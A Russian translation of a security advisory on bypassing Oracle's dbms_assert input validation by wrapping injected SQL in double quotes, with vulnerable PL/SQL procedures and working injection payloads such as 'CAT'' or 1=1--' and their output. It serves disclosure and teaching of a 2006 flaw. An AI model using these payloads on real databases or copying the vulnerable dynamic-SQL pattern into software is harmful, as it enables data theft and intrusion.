Обход Oracle dbms_assert

Обход Oracle dbms_assert

Злоумышленник может использовать эту методику (двойные кавычки около параметров), чтобы обойти dbms_assert. Об этой уязвимости, и некоторых связанных ошибок безопасности, было сообщено компании Oracle в Апреле 2006 года.

Александр Корнбруст,

Red-Database-Security GmbH

Используя специально сформированные параметры (в двойных кавычках) можно обойти проверку правильности пакета dbms_assert и внедрить SQL код. Уязвимость можно эксплуатировать в большинстве версий Oralce (8.1.7.4 – 10.2.0.2), исправление появилось только в июле 2006 года.

Для защиты пакетов Oracle PL/SQL от большого количества SQL инъекции, Oracle разработал новый пакет пол названием dbms_assert в Oracle 10g Release 2. Этот пакет был ретропортирован с Oracle Critical Patch Update (CPU) в октябре 2005 года на все поддерживаемые базы данных (с 8.1.7.4 до 10.1.0.5).

Давайте по порядку

DBMS_ASSERT - PL/SQL пакет, который содержит следующие функции:

ENQUOTE_LITERAL
ENQUOTE_NAME
NOOP
QUALIFIED_SQL_NAME
SCHEMA_NAME
SIMPLE_SQL_NAME
SQL_OBJECT_NAME
Подробное объяснение этих функций и их использовании может быть найдено в статье.

Если удастся обойти проверку правильности пользовательских данных одной из этих функций, то станет возможным выполнение нападений SQL инъекции против множества уязвимых PL/SQL процедур и функций, которые легко обнаружить в полностью залатанных версиях Oracle (8.1.7.4 до 10.2.0.2 с CPU July 2006), используя поиск нужной строки в распакованном PL/SQL коде. О способах распаковки PL/SQL (+ простой PoC), было рассказано Пете Финнигангом на конференции Black Hat 2006.

Начнем с некоторыми простыми PL/SQL примерами

Процедура PL/SQL принимает параметр TABLENAME и привязывает этот параметр к динамическому SQL оператору. Этот SQL оператор будет выполнен непосредственно при запуске. Уязвимое решение без dbms_assert:

 
CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) IS
BEGIN
dbms_output.put_line(' SQL=select count(*) from all_tables
where table_name='''|| TABLENAME||'''');
EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''|| TABLENAME ||'''';
END test1;
/
Procedure created.
Теперь мы используем обычное имя таблицы в качестве параметра:
SQL> exec test1('CAT');
SQL=select count(*) from all_tables where table_name='CAT'
PL/SQL procedure successfully completed.
Так как этот параметр не проверяется¸ мы можем внедрить PL/SQL код, например “or 1=1--"
SQL> exec test1('CAT'' or 1=1--');
SQL=select count(*) from all_tables where table_name='CAT' or
1=1--'
PL/SQL procedure successfully completed.
Решение с dbms_assert (все еще уязвимо): Теперь мы можем проверить пользовательские данные с dbms_assert.qualified_sql_name. Oracle использует этот подход несколько раз во внутреннем PL/SQL коде.
CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) IS
VERIFY_TAB VARCHAR2(64);
BEGIN
VERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);
dbms_output.put_line('ASSERT result='||VERIFY_TAB);
dbms_output.put_line('SQL=select count(*) from all_tables
where table_name='''|| VERIFY_TAB ||'''');
EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''||VERIFY_TAB||'''';
END test2;
/
Procedure created.
Мы передаем нашу таблицу CAT как параметр, и все работает как и ожидалось:
SQL> exec test2('CAT');
ASSERT result=CAT
SQL=select count(*) from all_tables where table_name='CAT'
PL/SQL procedure successfully completed.
Теперь давайте попытаемся внедрить дополнительный код. На сей раз dbms_assert.qualified_sql_name отобразит ошибку, и динамический код не будет выполнен.
SQL> exec test2('CAT'' or 1=1--');
BEGIN test2('CAT'' or 1=1--'); END;
*
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at "SYS.DBMS_ASSERT", line 206
ORA-06512: at "USER1.TEST2", line 5
ORA-06512: at line 1
Теперь вводим название объекта в двойных кавычках в нашу процедуру:
SQL> exec test2('"CAT'' or 1=1--"');
ASSERT result="CAT' or 1=1--"
SQL=select count(*) from all_tables where table_name='"CAT' or
1=1--"'
PL/SQL procedure successfully completed.
И, как не странно, это работает..

dbms_assert.qualified_sql_name пропускает проверку правильности, если параметр заключен в двойные кавычки. Если вы используете DBMS_ASSERT.sql_object_name, вы должны создать сначала объект, например CREATE TABLE " ' or 1=1-- ".

Злоумышленник может использовать эту методику (двойные кавычки около параметров), чтобы обойти dbms_assert. Об этой уязвимости, и некоторых связанных ошибок безопасности, было сообщено компании Oracle в Апреле 2006 года.

Ссылки

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться